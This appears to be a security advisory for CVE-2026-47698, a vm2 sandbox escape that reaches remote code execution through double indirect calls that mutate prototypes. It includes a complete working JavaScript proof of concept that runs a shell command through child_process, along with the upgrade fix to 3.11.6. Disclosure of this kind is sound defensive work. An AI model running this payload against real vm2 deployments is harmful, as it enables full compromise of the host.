critical · 9.8CVE-2026-47698Aug 17, 2026

CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A bypass of a previous vm2 sandbox fix lets attackers run arbitrary commands on the host by using a double indirect call pattern to mutate host object prototypes, escaping the sandbox entirely.

Packagevm2
Ecosystemnpm
Affected<= 3.11.5
Fixed in3.11.6
CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation

The problem

vm2 versions up to and including 3.11.5 are vulnerable to a sandbox escape that leads to full remote code execution on the host.

The root cause is a bypass of the fix for GHSA-v6mx-mf47-r5wg. That fix blocked direct dangerous proto mutator calls, but the check did not cover the double-indirection form indirectcall.call(indirectcall, dangerousmutator, ...). An attacker-controlled script inside the VM can exploit this to reach the host Function constructor and execute arbitrary shell commands.

Proof of concept

A working proof-of-concept for CVE-2026-47698 in vm2, with the exact payload below.

javascript
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

The fix for GHSA-v6mx-mf47-r5wg identified calls to dangerous proto mutators (like __proto__ setter) and blocked them when invoked via indirectcall.call(dangerousmutator, ...). The bypass uses a double-indirect form: indirectcall.call(indirectcall, dangerousmutator, ...), where the first argument is itself an indirect call, causing the dangerous-mutator check to be skipped.

This lets the attacker use Buffer.call.call to invoke __lookupGetter__ and __lookupSetter__ on Buffer.__proto__, then set the prototype of a caught WebAssembly error object to null. On the second catch, the error's constructor chain now reaches the raw host Function constructor, enabling require('child_process') and arbitrary command execution.

CWE-913 (Improper Control of Dynamically-Managed Code Resources) applies directly.

The fix

Upgrade vm2 to version 3.11.6. The patch extends the dangerous-call detection to cover the double-indirect indirectcall.call(indirectcall, fn, ...) form so that proto mutators cannot be invoked through any level of indirect call indirection.

Reporter not attributed.

References: [1][2][3]

Related research